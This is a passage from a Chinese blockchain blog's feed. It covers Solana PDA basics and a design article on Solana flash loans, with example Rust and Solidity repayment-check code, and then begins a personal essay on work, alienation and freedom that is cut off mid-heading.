href="https://solscan.io/account/AMtiaEmz3NhhV3KFbTkSXYP1AraCLdR9n4AiB3zHNTw?cluster=devnet">https://solscan.io/account/AMtiaEmz3NhhV3KFbTkSXYP1AraCLdR9n4AiB3zHNTw?cluster=devnet</a></p><p><img src="https://cdn.blog-blockchain.xyz/2025/05/7f276736af4538af2134e935c4736503.png" alt="image-20250518231045670"></p><p>可以发现PDA这里 <code>isOnCurve</code> 是 False，说明没有私钥控制。</p><p>❓为什么转给PDA时，我并没有看到创建PDA数据账户的指令？</p><p>我们提到系统程序控制PDA的生成，但是我们没看到createAccount指令。这是因为PDA 在 Solana 里默认是&quot;懒创建（Lazy Initialization）&quot;的！</p><p>在 Solana，账户的创建方式有两种：</p><ol><li>System Program::CreateAccount 用于创建新的可写账户，必须初始化 lamports 和 space。</li><li>直接向账户转账 SOL 只要账户不存在，Solana 允许它作为&quot;空账户&quot;存储 lamports 但不存储数据。</li></ol><p><strong>如果 PDA 账户没有存储数据（空账户），它可以直接接受 SOL，而不需要 createAccount！</strong></p><p>❓为什么我的地址能控制PDA？</p><p>因为计算PDA时使用了我的地址和程序ID共同生成地址，程序验证的时候使用的是 <code>to_pubkey.key()</code>，那么这个PDA只能给我转账。也就是说，任何人可以转给PDA，但是这个PDA里的金额，只能由我转出。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> [PDA] = PublicKey.<span class="title function_ invoke__">findProgramAddressSync</span>(</span><br><span class="line">  [Buffer.<span class="title function_ invoke__">from</span>(<span class="string">&quot;pda&quot;</span>), wallet.publicKey.<span class="title function_ invoke__">toBuffer</span>()],</span><br><span class="line">  program.programId</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>❓那其他程序能控制这个地址吗？如果其他程序也能生成同样的PDA，是不是也可以控制了呢？</p><p>不能。可以简化PDA的计算公式 <code>PDA = hash(seeds + Program ID) + bump</code> ，这个哈希碰撞是几乎不可能发生的。</p><p>如果用invoke的方式调用，则是先创建指令，相比invoke多出了一个PDA签名。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">instruction</span> =</span><br><span class="line">    &amp;system_instruction::<span class="title function_ invoke__">transfer</span>(&amp;from_pubkey.<span class="title function_ invoke__">key</span>(), &amp;to_pubkey.<span class="title function_ invoke__">key</span>(), amount);</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">invoke_signed</span>(instruction, &amp;[from_pubkey, to_pubkey, program_id], signer_seeds)?;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/solana/solana-basic/</id>
    <link href="https://www.blog-blockchain.xyz/solana/solana-basic/"/>
    <published>2025-05-18T14:58:33.000Z</published>
    <summary>本文深入解析Solana独特的账户模型与交易结构，详解智能合约开发基础知识。包括账户与程序的关系、交易执行流程、Solscan交易分析、以及链上程序核心概念(IDL、PDA、CPI、调用上下文)。通过实例讲解与ETH的区别，并提供开发常见问题解答，帮助开发者理解Solana高性能并行处理的设计理念和实用开发技巧。</summary>
    <title>Solana 合约开发基础</title>
    <updated>2026-02-19T16:18:01.156Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="solana" scheme="https://www.blog-blockchain.xyz/categories/solana/"/>
    <category term="solana" scheme="https://www.blog-blockchain.xyz/tags/solana/"/>
    <content>
      <![CDATA[<h2 id="Solana区块链上闪电贷的设计与实现">Solana区块链上闪电贷的设计与实现</h2><h3 id="摘要">摘要</h3><p>本文探讨了在Solana区块链上闪电贷的设计原理和实现方法。闪电贷作为无抵押借贷的创新金融工具，在去中心化金融(DeFi)生态系统中扮演着重要角色。文章分析了Solana区块链独特的账户模型和交易结构如何支持闪电贷机制，详细阐述了基于Sysvar指令的还款验证方法，并与以太坊上的实现进行了对比分析。研究表明，Solana的指令级验证机制、低交易费用和高并行性使其成为闪电贷应用的理想平台。通过本文提出的设计模式，开发者可以构建高效、安全的闪电贷应用，为Solana生态系统增添新的金融工具。</p><blockquote><p>第二篇会实操本地部署：<a href="https://github.com/learnerLj/adobe">https://github.com/learnerLj/adobe</a> ，敬请期待。</p></blockquote><h3 id="1-引言">1. 引言</h3><p>闪电贷（Flash Loan）是去中心化金融（DeFi）中的一项创新技术，允许用户在无需提供抵押品的情况下借入资金，前提是借款和还款必须在同一个区块或交易中完成。这一机制利用了区块链交易的原子性特征，为用户提供了临时流动性，使其能够执行套利、清算、债务重组等复杂金融操作。</p><p>随着DeFi生态系统的发展，闪电贷已成为流动性利用的重要工具。在以太坊网络上，闪电贷已经被广泛应用于各类金融协议中。然而，由于以太坊的高交易费用和有限的处理能力，闪电贷的应用场景受到了一定限制。</p><p>Solana作为一种高性能的区块链平台，提供了每秒处理数万笔交易的能力和极低的交易费用，为闪电贷应用开辟了新的可能性。本文旨在探讨如何在Solana上设计和实现闪电贷机制，分析其技术挑战和解决方案，并与以太坊上的实现进行对比。</p><p>研究目标：</p><ol><li>分析Solana账户模型和交易结构如何支持闪电贷</li><li>提出适用于Solana的闪电贷设计模式</li><li>探讨实现闪电贷的关键技术挑战和解决方案</li><li>与以太坊闪电贷实现进行对比分析</li></ol><h3 id="2-背景与相关工作">2. 背景与相关工作</h3><h4 id="2-1-闪电贷基本原理">2.1 闪电贷基本原理</h4><p>闪电贷是一种无需抵押的贷款机制，其核心特点是借款和还款必须在同一个区块（对于Solana来说，在同一个交易）内完成。这种机制的基本流程如下：</p><ol><li>用户从流动性池（如自动做市商AMM或借贷协议）借入资金</li><li>用户使用这些资金执行一系列操作（如套利、清算等）</li><li>用户归还本金加上手续费</li><li>所有操作必须在同一笔交易中完成，否则交易会被回滚</li></ol><p>闪电贷的主要应用场景包括：</p><ul><li><strong>套利交易</strong>：利用不同DEX之间的价格差异进行套利。例如，在Raydium上以较低价格购买代币，然后在Orca上以较高价格卖出，从中获取利润。闪电贷允许交易者无需自有资金即可执行大规模套利操作。</li><li><strong>清算</strong>：当借贷平台上的借款人抵押率低于清算阈值时，清算人可以借入闪电贷资金来偿还债务，获得抵押品作为奖励。例如，在Solend上清算不良债务，获得额外的清算奖励。</li><li><strong>债务重组</strong>：借款人可以通过闪电贷优化其债务结构。具体来说，假设用户在Solend上以10%的年利率借了1000 USDC，同时在Port Finance上以8%的年利率借了1000 USDC。用户可以通过闪电贷借入1000 USDC，立即偿还Solend上的高利率债务，然后从Port Finance借出1000 USDC归还闪电贷。这样用户就成功将10%的债务转换为8%的债务，降低了整体借贷成本。</li><li><strong>抵押品替换</strong>：借款人可以在不增加额外资金的情况下更换抵押品类型。例如，将ETH抵押品替换为SOL，或在不同借贷平台之间转移抵押品，以获取更好的借贷条件或更高的流动性。</li></ul><h4 id="2-2-Solana账户模型">2.2 Solana账户模型</h4><p>Solana的账户模型与以太坊等其他区块链有显著不同，这对闪电贷的实现有重要影响。在Solana中，账户是存储数据和SOL代币的基本单位，主要分为以下几种类型：</p><ol><li><strong>系统账户</strong>：由系统程序创建的普通账户，用于存储SOL</li><li><strong>程序拥有的账户（PDA）</strong>：由程序控制的账户，用于存储程序状态</li><li><strong>程序账户</strong>：存储可执行程序代码的账户</li></ol><p>每个账户具有以下主要特征：</p><ul><li>地址（公钥）</li><li>拥有者（程序或系统）</li><li>数据（二进制格式）</li><li>lamports（SOL的最小单位）</li><li>可执行标志</li></ul><p>这种账户模型使得Solana上的程序（智能合约）能够明确控制其所拥有账户的数据，为实现闪电贷提供了基础。</p><h4 id="2-3-相关工作">2.3 相关工作</h4><p>以太坊上的闪电贷最初由Aave和dYdX等协议推广，它们采用回调函数模式实现闪电贷机制。在Solana生态系统中，已有一些项目如Solend和Mango Markets实现了自己的闪电贷功能，但缺乏统一的标准和实现方法。</p><h3 id="3-方法论">3. 方法论</h3><p>本研究采用以下方法论开发Solana上的闪电贷实现：</p><h4 id="3-1-系统架构设计">3.1 系统架构设计</h4><p>我们提出了一种基于Solana账户模型和交易结构的闪电贷架构，该架构包括以下核心组件：</p><ol><li><strong>流动性池账户</strong>：存储可借出的代币</li><li><strong>闪电贷程序</strong>：管理借款和还款逻辑</li><li><strong>指令验证机制</strong>：确保还款指令包含在同一交易中</li><li><strong>用户交互接口</strong>：允许用户构建闪电贷交易</li></ol><h4 id="3-2-交易原子性利用">3.2 交易原子性利用</h4><p>研究利用Solana交易的原子性特性，确保闪电贷的安全性。在Solana中，一个交易包含多个指令，这些指令要么全部成功执行，要么全部失败。通过将借款、操作和还款指令打包在同一个交易中，可以确保借款必须归还，否则整个交易将被回滚。</p><h4 id="3-3-指令级验证机制">3.3 指令级验证机制</h4><p>不同于以太坊的回调验证方式，我们设计了基于Solana Sysvar指令的验证机制，允许程序在执行时检查同一交易中的其他指令，确保还款指令存在并且还款金额正确。</p><h3 id="4-实现细节">4. 实现细节</h3><h4 id="4-1-基本组件实现">4.1 基本组件实现</h4><h5 id="4-1-1-流动性池账户结构">4.1.1 流动性池账户结构</h5><p>流动性池账户存储可被借出的代币，其数据结构包括：</p><ul><li>池管理者权限</li><li>支持的代币类型</li><li>当前余额</li><li>累计费用</li><li>借款计数</li></ul><h5 id="4-1-2-闪电贷核心指令">4.1.2 闪电贷核心指令</h5><p>闪电贷程序实现了三个核心指令：</p><ul><li><code>初始化池</code>：创建流动性池账户</li><li><code>闪电贷借款</code>：临时借出资金</li><li><code>还款验证</code>：确认资金归还</li></ul><h4 id="4-2-还款保证机制">4.2 还款保证机制</h4><p>Solana上的闪电贷还款保证是通过交易结构和指令验证实现的。</p><h5 id="4-2-1-交易的原子性">4.2.1 交易的原子性</h5><p>Solana交易具有原子性，这意味着一个交易中的所有指令要么全部成功执行，要么全部失败。闪电贷利用这一特性：</p><ul><li>借款、使用资金和还款操作被打包在同一个交易中</li><li>如果还款环节失败，整个交易会被回滚，就像借款从未发生过一样</li><li>这种原子性是闪电贷的基本安全保障</li></ul><h5 id="4-2-2-指令顺序执行">4.2.2 指令顺序执行</h5><p>Solana交易中的指令按顺序执行，这使得我们可以构建安全的闪电贷流程：</p><ol><li>第一条指令：从流动性池中借出资金</li><li>中间指令：执行套利或其他操作</li><li>最后指令：验证还款并收取手续费</li></ol><h5 id="4-2-3-Sysvar指令实现">4.2.3 Sysvar指令实现</h5><p>通常闪电贷程序的验证逻辑是回调时检查：</p><ul><li>在交易开始时，程序记录流动性池的初始余额</li><li>在交易结束时，程序检查流动性池的最终余额是否大于或等于初始余额加上手续费</li><li>如果验证失败，程序会抛出错误，导致整个交易回滚</li></ul><p>但是Solana不是采用回调机制，而是直接检查指令。通常通过<code>Sysvar::instructions()</code>系统变量来实现，这是Solana独特的机制，允许程序访问当前交易中的所有指令信息。</p><p>具体实现步骤：</p><ol><li>借款指令（闪电贷开始）会记录初始状态和借款条件</li><li>使用<code>Sysvar::instructions()</code>获取当前交易中的所有后续指令</li><li>验证交易中是否包含还款指令，以及还款金额是否足够</li></ol><p>代码示例：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> solana_program::&#123;</span><br><span class="line">    account_info::&#123;next_account_info, AccountInfo&#125;,</span><br><span class="line">    entrypoint::ProgramResult,</span><br><span class="line">    program_error::ProgramError,</span><br><span class="line">    pubkey::Pubkey,</span><br><span class="line">    sysvar::&#123;instructions::Instructions, instructions::load_instruction_at_checked, Sysvar&#125;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">verify_repayment</span>(</span><br><span class="line">    program_id: &amp;Pubkey,</span><br><span class="line">    accounts: &amp;[AccountInfo],</span><br><span class="line">    loan_amount: <span class="type">u64</span>,</span><br><span class="line">    fee: <span class="type">u64</span>,</span><br><span class="line">) <span class="punctuation">-&gt;</span> ProgramResult &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">account_iter</span> = &amp;<span class="keyword">mut</span> accounts.<span class="title function_ invoke__">iter</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">pool_account</span> = <span class="title function_ invoke__">next_account_info</span>(account_iter)?;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">instructions_sysvar</span> = <span class="title function_ invoke__">next_account_info</span>(account_iter)?;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 确认这是指令sysvar账户</span></span><br><span class="line">    <span class="keyword">if</span> *instructions_sysvar.key != solana_program::sysvar::instructions::<span class="title function_ invoke__">id</span>() &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(ProgramError::InvalidArgument);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取当前指令的索引</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">current_index</span> = Instructions::<span class="title function_ invoke__">load_current_index</span>(instructions_sysvar)?;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查后续指令中是否存在还款指令</span></span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">repayment_found</span> = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 遍历后续指令，检查是否有还款指令</span></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> (current_index + <span class="number">1</span>)..Instructions::<span class="title function_ invoke__">load_instruction_count</span>(instructions_sysvar)? &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">ix</span> = <span class="title function_ invoke__">load_instruction_at_checked</span>(i, instructions_sysvar)?;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 检查是否是调用我们程序的还款指令</span></span><br><span class="line">        <span class="keyword">if</span> ix.program_id == *program_id &#123;</span><br><span class="line">            <span class="comment">// 解析指令数据，检查是否是还款指令</span></span><br><span class="line">            <span class="keyword">if</span> ix.data.<span class="title function_ invoke__">len</span>() &gt;= <span class="number">4</span> &amp;&amp; ix.data[<span class="number">0</span>..<span class="number">4</span>] == [<span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>] &#123; <span class="comment">// 假设0x00010000是还款指令ID</span></span><br><span class="line">                repayment_found = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">                <span class="comment">// 验证还款金额</span></span><br><span class="line">                <span class="comment">// ...此处省略具体的还款金额验证逻辑...</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> !repayment_found &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(ProgramError::InvalidInstructionData);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种方法的优势在于，Solana程序可以在执行过程中检查同一交易中的其他指令，确保在借款之后一定会有还款操作。</p><h4 id="4-3-与以太坊闪电贷实现的对比">4.3 与以太坊闪电贷实现的对比</h4><table><thead><tr><th>特性</th><th>Solana</th><th>以太坊</th></tr></thead><tbody><tr><td>实现机制</td><td>使用Sysvar指令或CPI回调</td><td>使用回调函数</td></tr><tr><td>交易模型</td><td>基于账户模型，一个交易包含多个指令</td><td>基于账户余额模型，使用函数调用</td></tr><tr><td>验证方式</td><td>可以验证同一交易中的后续指令</td><td>在同一调用栈中验证回调结果</td></tr><tr><td>代码示例</td><td>检查指令sysvar或使用CPI回调</td><td>使用<code>require()</code>验证余额变化</td></tr></tbody></table><p>以太坊闪电贷的典型实现（以Aave为例）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">function flashLoan(</span><br><span class="line">    address receiver,</span><br><span class="line">    address token,</span><br><span class="line">    uint256 amount,</span><br><span class="line">    bytes calldata params</span><br><span class="line">) external &#123;</span><br><span class="line">    // 向接收方发送代币</span><br><span class="line">    IERC20(token).transfer(receiver, amount);</span><br><span class="line"></span><br><span class="line">    // 调用接收方的executeOperation函数</span><br><span class="line">    IFlashLoanReceiver(receiver).executeOperation(</span><br><span class="line">        token,</span><br><span class="line">        amount,</span><br><span class="line">        0,</span><br><span class="line">        address(this),</span><br><span class="line">        params</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    // 检查代币是否被归还</span><br><span class="line">    uint256 amountToReturn = amount + fee;</span><br><span class="line">    require(</span><br><span class="line">        IERC20(token).balanceOf(address(this)) &gt;= amountToReturn,</span><br><span class="line">        &quot;Flash loan not repaid&quot;</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Solana的这种模式的确定性是非常高的，可以在交易参数级别验证还款指令的存在，而不仅仅是验证执行结果。</p><h3 id="5-讨论与结论">5. 讨论与结论</h3><h4 id="5-1-安全性考量">5.1 安全性考量</h4><p>闪电贷虽然为用户提供了无抵押借贷的便利，但也带来了安全风险。在设计Solana闪电贷时，应考虑以下安全因素：</p><ul><li><strong>重入攻击防护</strong>：虽然Solana程序模型天然防止了重入攻击，但仍需警惕跨程序调用(CPI)中的安全问题</li><li><strong>验证逻辑的完备性</strong>：确保还款验证逻辑无懈可击，特别是在复杂交易结构中</li></ul><h4 id="5-2-性能优化">5.2 性能优化</h4><p>Solana的高性能特性为闪电贷提供了优势，但仍需考虑以下优化：</p><ul><li><strong>账户数据结构优化</strong>：减少不必要的数据存储，降低交易成本</li><li><strong>指令合并</strong>：适当合并相关指令，减少交易中的指令数量</li><li><strong>并行处理</strong>：利用Solana的并行交易处理能力，设计支持并行执行的闪电贷程序</li></ul><h4 id="5-3-结论">5.3 结论</h4><p>本研究提出了一种基于Solana区块链的闪电贷实现方法，利用Solana独特的账户模型和交易结构，特别是Sysvar指令验证机制，实现了高效、安全的闪电贷功能。与以太坊上的实现相比，Solana闪电贷具有更低的交易费用、更高的吞吐量和更灵活的验证机制，为DeFi应用开发者提供了新的可能性。</p><p>随着Solana生态系统的不断发展，闪电贷有望成为连接各种DeFi协议的重要金融原语，促进资本效率的提升和创新金融应用的涌现。未来研究可以进一步探索闪电贷的标准化接口、多链互操作性以及风险管理框架，推动闪电贷技术的成熟与普及。</p><h4 id="5-4-与以太坊实现的对比分析">5.4 与以太坊实现的对比分析</h4><p>与前文理论分析一致，adobe项目的实现展示了Solana闪电贷的独特优势：</p><table><thead><tr><th>特性</th><th>Adobe(Solana)</th><th>Aave(以太坊)</th></tr></thead><tbody><tr><td>验证时机</td><td>借款时预先验证</td><td>执行回调后验证</td></tr><tr><td>安全机制</td><td>指令验证 + 状态标记</td><td>回调模式 + 余额检查</td></tr><tr><td>实现复杂度</td><td>中等（需了解Sysvar）</td><td>低（标准回调模式）</td></tr><tr><td>交易成本</td><td>低</td><td>高</td></tr><tr><td>并发支持</td><td>可并行处理多笔闪电贷</td><td>受Gas限制</td></tr></tbody></table><p>adobe项目通过巧妙利用Solana的指令验证机制，在交易执行前就确保了借款一定会被偿还，提供了比以太坊更高效的闪电贷实现。</p><h3 id="6-参考文献">6. 参考文献</h3><ol><li>Solana Documentation. “Accounts.” <a href="https://solana.com/zh/docs/core/accounts">https://solana.com/zh/docs/core/accounts</a></li><li>Aave Protocol. “Flash Loans.” <a href="https://aave.com/docs/developers/flash-loans">https://aave.com/docs/developers/flash-loans</a></li><li>Solana Documentation. “Sysvar Cluster Data.” <a href="https://docs.solana.com/developing/runtime-facilities/sysvars">https://docs.solana.com/developing/runtime-facilities/sysvars</a></li><li>Solana flash loans that work by inserting two instructions into any arbitrary transaction clientside. <a href="https://github.com/2501babe/adobe">https://github.com/2501babe/adobe</a></li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/solana/solana-flashloan-1/</id>
    <link href="https://www.blog-blockchain.xyz/solana/solana-flashloan-1/"/>
    <published>2025-05-17T14:09:33.000Z</published>
    <summary>深入探讨Solana区块链上闪电贷的设计原理与实现方法。分析Solana独特的账户模型和交易结构如何支持无抵押借贷，详细阐述基于Sysvar指令的还款验证机制，并与以太坊实现进行对比。涵盖套利、清算、债务重组等应用场景，为开发者提供构建高效安全闪电贷应用的完整技术方案。</summary>
    <title>Solana flashloan 原理和设计</title>
    <updated>2026-02-19T16:18:01.156Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="think" scheme="https://www.blog-blockchain.xyz/categories/think/"/>
    <category term="life" scheme="https://www.blog-blockchain.xyz/tags/life/"/>
    <content>
      <![CDATA[<p>在这个信息爆炸的时代，我们常常陷入对自身生活状态的思考与怀疑。薪资、地位、自由度，这些概念在我们心中不断碰撞，形成了一种特殊的现代人心理状态。我想分享一些关于这方面的思考，希望能与同样在思索人生意义的你产生共鸣。</p><h2 id="1-现代职场的悖论：物质追求与精神困境">1. 现代职场的悖论：物质追求与精神困境</h2><h3 id="1-1-为什么收入不错，内心却空虚？">1.1 为什么收入不错，内心却空虚？</h3><p><strong>我们追求的薪资增长，最终会遇到一个无法逾越的天花板。</strong></p><p>我总觉得自己是物欲比较低的人，但仍不可避免地感受到国内环境带来的某种抑郁感。身边有朋友在大厂间跳槽，月薪从20多K一下飙升到30多K，但代价是几乎每天晚上8点才能离开办公室。职场经验被明确地划分为1-3年、3-5年、5-10年等门槛，而薪资增长并非线性关系。当达到某个层级，你会发现市场行情已经没有多少上升空间，于是很多人不得不转变为所谓的&quot;老油条&quot;。每当想到这一点，心中总会泛起一丝抑郁。</p><p>这种焦虑不是因为职场本身有问题——职场就是一群人聚在一起赚钱，这很正常。问题在于，当你意识到薪资增长有天花板时，单纯依靠收入提升获得的满足感就会消失，而你可能还没想清楚除此之外还能从工作中获得什么。</p><p>这种焦虑其实有更深层的原因。一百多年前，马克思就指出了现代工作的问题：<strong>异化</strong>。</p><p>什么是异化？说白了就是，你的工作跟你这个人越来越没关系。</p><p>想想一个程序员：他写的代码变成产品赚钱，但钱是公司的，不是他的；他本来喜欢编程，但996让写代码变成了痛苦的重复劳动；公司把他当成&quot;人力资源&quot;，只关心他会几种编程语言，不关心他是个什么样的人；同事之间为了升职加薪明争暗斗，友谊变成了利用。</p><p>但现代的情况比马克思那个时代更复杂。<strong>现在的问题不只是你看不到自己劳动的成果，而是生产和服务的价值体验完全不对等。</strong></p><p>举个例子：一个做推荐算法的程序员，他负责的只是整个系统中的一个小模块——比如优化点击率预测。他的工作被切割得极其精细，每天就是调参数、跑实验、看指标。但这个算法最终影响的是什么？可能是让一个深夜失眠的人刷到了治愈的视频，也可能是让一个学生沉迷短视频耽误了学习。</p><p><strong>关键的不对等在于：使用者能直接感受到产品带来的价值（或伤害），但生产者只能看到抽象的指标。</strong> 一个外卖骑手能看到客户拿到热饭时的笑容，一个医生能看到病人康复，但一个优化算法的程序员看到的只是&quot;DAU提升了0.3%&quot;。</p><p>更讽刺的是，现代工作往往是：<strong>越是底层的服务工作，越能感受到直接的价值反馈；越是高薪的技术工作，越看不到自己创造的真实影响。</strong> 清洁工能看到干净的环境，厨师能看到客人的满足，但一个年薪百万的算法工程师，可能永远不知道自己的代码到底改变了谁的生活。</p><p><strong>这种&quot;看不见&quot;不是个人的问题，而是现代分工的必然结果。</strong> 当每个人只负责整个系统的一个微小部分，当你的工作成果必须和其他无数个部分组合才能产生价值，你怎么可能感受到自己工作的意义？</p><p>马克思称这种现象为&quot;商品拜物主义&quot;——人们被商品的表面价值蒙蔽，看不到商品背后的社会关系。在现代职场中，这种拜物主义表现为：我们只看到薪资数字、职级头衔、公司品牌，却看不到自己的劳动真正创造了什么，影响了谁。</p><p>这就是为什么很多人&quot;收入不错但内心空虚&quot;——不只是工作跟你没关系，而是你根本不知道你的工作跟这个世界是什么关系。</p><h3 id="1-2-我们为什么总是在比较？">1.2 我们为什么总是在比较？</h3><p><strong>比较的痛苦不在于差距本身，而在于你不确定自己真正想要什么。</strong></p><p>一位做到几百万生意规模的朋友曾告诉我，在国内能有一两万的月薪已经相当不错了。但我的社交圈中还有许多进入字节、阿里、腾讯、蚂蚁、微软的同学，以及在美国大中型科技公司实习的同学，还有跨国公司在发达地区工作的同事，他们的收入水平又是另一番景象。</p><p>此外，目前脱节的房地产市场也是我忧虑的来源之一——我对于需要透支30年的房贷感到厌恶，觉得那样的生活缺乏自由。这种对比带来的痛苦，恰恰印证了叔本华的观点：人生的痛苦源于欲望与现实的差距。</p><p>但更深层的问题是：为什么同样的收入差距，有些人毫不在意，有些人却深受困扰？</p><p>关键在于：当你内心对自己的价值没有清晰认知时，就容易被外部的标准牵着走。一个做独立游戏的朋友年收入10万，作品让无数玩家快乐；另一个做广告投放的同学年薪50万，但他自己说工作就是&quot;帮资本家割韭菜&quot;。如果独立游戏开发者清楚自己的价值在于创造快乐，他就不会因为收入差距而焦虑；如果广告投放的同学不确定自己工作的意义，即使收入更高也会感到空虚。</p><p>比较带来的痛苦，本质上反映的是内心的不确定：我到底想要什么样的生活？我的价值到底在哪里？</p><h2 id="2-自由的辩证：从物理空间到精神维度">2. 自由的辩证：从物理空间到精神维度</h2><h3 id="2-1-选择越多，为什么越不自由？">2.1 选择越多，为什么越不自由？</h3><p><strong>真正的自由不是想做什么就做什么，而是知道什么值得做并有能力去做。</strong></p><p>我说不清为什么一想到这些就会陷入深沉的思考，变得相对悲观。日常生活本身的花费其实并不高，有空自己做菜，自制的饮料也很美味。或许是对&quot;自由&quot;这个概念的执着，反而困住了自己。</p><p>但仔细想想：</p><ul><li>古时从未出过村庄、跨越大山的人</li><li>近代从未离开过县城的人</li><li>现代从未出过国的人</li><li>当下从未到过其他星球的人</li></ul><p>我们都不自由吗？</p><p>大多数人觉得自由就是&quot;想做什么就做什么&quot;。但这种理解有问题。</p><p>真正的自由其实是：<strong>知道什么值得做，并且有能力去做</strong>。</p><p>有两种&quot;自由&quot;：一种是叛逆式的，觉得所有规则都是束缚，要反对一切；另一种是成熟的，理解限制的必要性，在约束中发挥自己。</p><p>举个对比：古代的农夫一辈子没出过县城，但他深深理解土地，知道什么时候播种收获，在这个&quot;受限&quot;的环境中获得成就感。现代人可以出国、换工作、选居住地，但往往因为选择太多而焦虑。</p><p>我一个朋友就说：“我随时可以辞职去大理开客栈，但正是这种’随时可以’让我对现在的工作提不起兴趣。”</p><p>所以真正的自由不在于有多少选择，而在于能否在选择的道路上全心投入。</p><h3 id="2-2-知道得越多，为什么越焦虑？">2.2 知道得越多，为什么越焦虑？</h3><p><strong>无知是福，但有知的痛苦是觉醒的代价。</strong></p><p>自由实际上是一个主观概念。悲观和渺小感往往源自于我们知道某些事情的存在，却无法达成。相信天圆地方的人不会为自己只能生活在一个小蓝星上而苦恼；而了解宇宙理论的人在阅读《三体》时，面对那巨大的空间和时间跨度，则会发出长叹。</p><p>对于特别爱思考的INTJ性格来说，在探索欲的驱动下，悲观似乎是一种必然结果，无论面对的是疾病、生死还是宇宙的广袤。这正是加缪所说的&quot;荒谬&quot;——人类对意义的渴求与宇宙的沉默之间的矛盾。</p><p>还有一种更深层的不安：<strong>对存在本身的困惑</strong>。</p><p>这不是怕蛇、怕考试失败这种具体的恐惧，而是一种根本性的疑问：我为什么在这里？我应该干什么？</p><p>想想看，我们都是被&quot;扔&quot;到这个世界上的——没人问过我们是否想出生，没人给我们发一份人生说明书。就像突然发现自己在一个陌生的游戏里，不知道规则，不知道目标，但必须开始玩。</p><p>我记得有个深夜，刷完朋友圈后突然想到：&quot;我为什么要活着？为什么要工作？为什么要追求这些东西？&quot;那种感觉很特别——不是怕死，而是突然意识到自己存在的随意性。</p><p>但这种困惑其实是好事，说明你开始真正思考了。就像那些深夜的思考让我开始审视自己的选择，而不是盲目跟着社会期待走。当我们意识到生命有限时，才会认真对待每个选择。</p><h2 id="3-超越物质：从财富自由到存在困境">3. 超越物质：从财富自由到存在困境</h2><h3 id="3-1-有钱就能解决所有问题吗？">3.1 